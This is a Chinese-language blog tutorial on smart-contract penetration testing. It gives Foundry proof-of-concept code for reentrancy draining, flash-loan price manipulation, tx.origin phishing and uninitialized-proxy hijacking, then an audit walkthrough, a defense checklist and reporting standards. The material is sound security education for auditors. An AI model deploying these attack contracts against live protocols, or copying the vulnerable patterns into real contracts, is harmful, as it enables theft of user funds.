首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >实战为王|智能合约进阶与安全实战:PoC 构造与渗透测试实录

实战为王|智能合约进阶与安全实战:PoC 构造与渗透测试实录

原创
作者头像
资源大佬 jzit-top
发布于 2026-11-16 17:11:36
发布于 2026-11-16 17:11:36
530
举报

一、审合约不是审代码,是审经济模型

绝大多数被攻破的合约,代码本身"没 bug"——它只是允许了一种设计者没想到的经济行为。重入、闪电贷、价格操纵、治理攻击,本质都是在合约允许的规则内,用资金和信息的时间差套利。所以渗透测试的终点不是"发现可疑行",而是"构造一个能跑通、能算出利润的 PoC"。没有 PoC 的漏洞报告只是猜测。

二、渗透测试四段法

代码语言:javascript
复制
侦察(源码/ABI/链上历史) → 静态分析(Slither/手动) → 动态 Fuzz(Foundry) → PoC 验证(主网 fork)

关键原则:所有 PoC 必须在主网 fork 上可复现,用真实流动性、真实价格、真实 gas,否则"理论可利用"没有交付价值。

三、PoC 构造:三类高发漏洞

1. 重入——不是只有 call 才危险

代码语言:javascript
复制
// VulnerableBank.sol —— 经典但仍在发生的模式
contract VulnerableBank {
    mapping(address => uint256) public balances;
    function withdraw() external {
        uint256 bal = balances[msg.sender];
        require(bal > 0);
        (bool ok, ) = msg.sender.call{value: bal}("");  // 先转账
        require(ok);
        balances[msg.sender] = 0;                        // 后清零
    }
}

代码语言:javascript
复制
// PoC.sol —— Foundry 测试
contract ReentrancyPoC is Test {
    VulnerableBank bank;
    Attacker attacker;

    function setUp() public {
        bank = new VulnerableBank();
        attacker = new Attacker(address(bank));
        vm.deal(address(attacker), 1 ether);
        vm.deal(address(bank), 10 ether);
    }

    function testReentrancy() public {
        attacker.attack{value: 1 ether}();
        assertGt(address(attacker).balance, 1 ether, "profit");
        assertEq(address(bank).balance, 0, "drained");
    }
}

contract Attacker {
    VulnerableBank bank;
    constructor(address b) { bank = VulnerableBank(b); }
    function attack() external payable { bank.withdraw(); }
    receive() external payable {
        if (address(bank).balance >= 1 ether) bank.withdraw();  // 递归
    }
}

PoC 判定线:profit > gas cost 才算有效漏洞,否则只是理论问题。

2. 价格操纵——依赖单一 DEX 现货价

代码语言:javascript
复制
// 被攻击合约读取 spot price 作为抵押率
contract Lending {
    IUniswapV2Pair pair;
    function getPrice() public view returns (uint256) {
        (uint112 r0, uint112 r1, ) = pair.getReserves();
        return uint256(r1) * 1e18 / uint256(r0);   // 可被闪贷瞬间扭曲
    }
    function borrow(uint256 amount) external {
        uint256 collateral = getPrice() * balances[msg.sender] / 1e18;
        require(amount <= collateral * 75 / 100);
        // ...
    }
}

代码语言:javascript
复制
// PoC:用 flash loan 在同一交易内操纵储备
function testPriceManipulation() public {
    uint256 before = address(this).balance;
    flashLoan(1_000_000e18);              // 借入巨额 token0
    swapToDistortReserves();              // 砸盘,r0 暴增
    lending.borrow(maxBorrow());          // 以虚高抵押借出
    repayFlashLoan();
    assertGt(address(this).balance, before);
}

检测要点:凡是 getReserves()、balanceOf(pair)、单池 slot0 参与清算/借贷计算的,一律标红。正确做法是 TWAP 或 Chainlink 多源聚合。

3. 访问控制——tx.origin 与初始化函数

代码语言:javascript
复制
// 两个高频模式
function transferOwnership(address n) external {
    require(tx.origin == owner);        // 钓鱼可绕过
    owner = n;
}

// 代理合约未初始化
contract Proxy {
    address public implementation;
    function initialize(address impl) external {   // 无 initializer 锁
        implementation = impl;
    }
}

代码语言:javascript
复制
// PoC:中间人合约调用,tx.origin 仍是受害者
contract Phishing {
    function pwn(address target) external {
        target.call(abi.encodeWithSignature("transferOwnership(address)", address(this)));
    }
}

// PoC:抢先初始化代理,劫持实现地址
function testUninitializedProxy() public {
    vm.prank(attacker);
    proxy.initialize(address(maliciousImpl));   // 一次性劫持
    assertEq(proxy.implementation(), address(maliciousImpl));
}

四、渗透测试实录:一个完整的审计闭环

目标:某收益聚合器,用户存入稳定币,合约自动在多个池间调仓。

第 1 小时·侦察:拉取 ABI 与近 30 天交易,发现 harvest() 无访问控制,任何人可调用。链上历史显示调仓频率异常。

第 2 小时·静态分析:Slither 报 reentrancy-eth(低危)、arbitrary-send(中危)。手动核查发现 harvest() 内先 swap 再更新 lastHarvest,存在价格读取窗口。

第 3 小时·Fuzz:用 Foundry 对 harvest() 做参数模糊测试,发现当池子流动性低于阈值时,swap 滑点被人为放大,harvest 收益被套走。

代码语言:javascript
复制
// fuzz 测试骨架
function testFuzzHarvest(uint96 amount, uint96 poolLiquidity) public {
    vm.assume(amount > 0 && poolLiquidity > 1e6);
    setPoolLiquidity(poolLiquidity);
    uint256 before = token.balanceOf(address(this));
    aggregator.harvest{value: amount}();
    uint256 profit = token.balanceOf(address(this)) - before;
    assertLe(profit, maxExpectedProfit(), "slippage exploit");
}

第 4 小时·PoC 验证:主网 fork,用真实 Curve 池,构造"低流动性窗口 + 无许可 harvest"组合,测得单次获利约 0.8 ETH,扣 gas 后仍为正。PoC 通过。

第 5 小时·修复验证:给 harvest() 加 onlyKeeper + TWAP 校验,重跑 PoC,断言 profit <= 0。

五、防御清单(按性价比排序)

措施

覆盖漏洞

成本

重入锁 + Checks-Effects-Interactions

重入

低

价格源用 TWAP / 多源聚合

价格操纵

中

初始化函数加 initializer 修饰符

代理劫持

低

关键函数 onlyRole + 时间锁

权限滥用

低

Foundry 不变量测试(invariant)

逻辑缺陷

中

形式化验证(Certora)

算术/状态机

高

六、交付标准

一份合格的渗透报告必须包含:漏洞描述 → 复现步骤 → 可运行的 Foundry PoC → 主网 fork 下的利润测算 → 修复 patch → 修复后的回归测试。缺任何一项,客户都无法判断该不该上线。

智能合约安全没有"看起来没问题",只有"我构造了 N 种攻击路径,全部被拦住"。PoC 是唯一可信的证据。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

目录
  • 一、审合约不是审代码,是审经济模型
    • 二、渗透测试四段法
    • 三、PoC 构造:三类高发漏洞
      • 1. 重入——不是只有 call 才危险
      • 2. 价格操纵——依赖单一 DEX 现货价
      • 3. 访问控制——tx.origin 与初始化函数
    • 四、渗透测试实录:一个完整的审计闭环
    • 五、防御清单(按性价比排序)
    • 六、交付标准
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档